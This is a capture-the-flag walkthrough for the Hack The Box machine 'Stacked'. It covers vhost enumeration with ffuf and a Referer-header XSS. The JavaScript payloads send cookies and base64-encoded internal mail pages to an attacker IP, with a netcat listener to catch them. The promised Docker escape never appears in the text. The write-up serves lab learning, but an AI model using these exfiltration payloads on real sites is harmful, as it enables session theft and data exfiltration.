Back to Home

HTB Stacked: XSS and Docker escape walkthrough

The Stacked machine on Hack The Box demonstrates an attack chain: from vhost enumeration via ffuf to XSS in Referer, proxying of the internal mail server and RCE with escape from Docker container. Detailed breakdown of nmap, gobuster commands, payloads and LocalStack architecture.

Docker Escape on HTB Stacked via XSS
Advertisement 728x90

Docker Container Escape via XSS and RCE on HTB Stacked

Scanning host 10.129.228.28 with nmap revealed open ports: 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41), and 2376 (Docker daemon with TLS). Port 80 hosts the domain stacked.htb after adding an entry to /etc/hosts. The main page contains an email field with no visible network traffic upon submission.

Directory brute-forcing with gobuster using common.txt yielded no results. Switching to virtual host enumeration with ffuf using subdomains-top1million-5000.txt with a word filter (-fw 18) uncovered portfolio.stacked.htb.

gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18

Analyzing portfolio.stacked.htb and LocalStack

The portfolio.stacked.htb site describes Stacked, a company using LocalStack—a local AWS service emulator in Docker containers. A docker-compose.yml file is available with exposed ports:

Google AdInline article slot
  • 443 (HTTPS)
  • 4566 (LocalStack API)
  • 4571 (likely Elasticsearch)
  • 8080 (Web UI)
wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up

The bottom of the page shows the creation year—a potential lead for further exploitation.

Discovering and Exploiting XSS

The personal data submission form on portfolio.stacked.htb reflects HTML tags with the message "xss detected!". Direct injection into the request body to /process.php fails even with double URL encoding.

Testing headers (User-Agent, Origin, Referer) revealed a vulnerability in Referer. The payload <script src="http://10.10.16.10/test.js"></script> executes successfully:

Google AdInline article slot
let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();

Cookies are protected with HttpOnly. Switching to document.location revealed the origin: http://mail.stacked.htb/read-mail.php?id=2.

CSRF Attack via XSS to Access mail.stacked.htb

The new subdomain mail.stacked.htb redirects external requests. Through victim XSS, we implement a proxy:

  • Inject <script src="http://10.10.16.10/exploit.js"></script>.
  • The script requests an internal page, encodes it in base64, and sends it to attacker:9001.
let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
    if (this.readyState == 4){
        data = btoa(req1.response);
        let req2 = new XMLHttpRequest();
        req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
        req2.send();
    }
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();
nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html

The inbox contains an email from Jeremy Taint about launching an S3 instance (id=1). CSS/images do not load due to network restrictions.

Google AdInline article slot

Key Takeaways

  • XSS in the Referer header leads to JS execution in the victim's context.
  • Base64 proxy via XMLHttpRequest bypasses Docker network restrictions.
  • LocalStack docker-compose reveals internal ports and architecture.
  • Vhost enumeration is critical when dirbusting fails.
  • The ffuf word filter (-fw) solves dynamic error content issues.

— Editorial Team

Advertisement 728x90

Read Next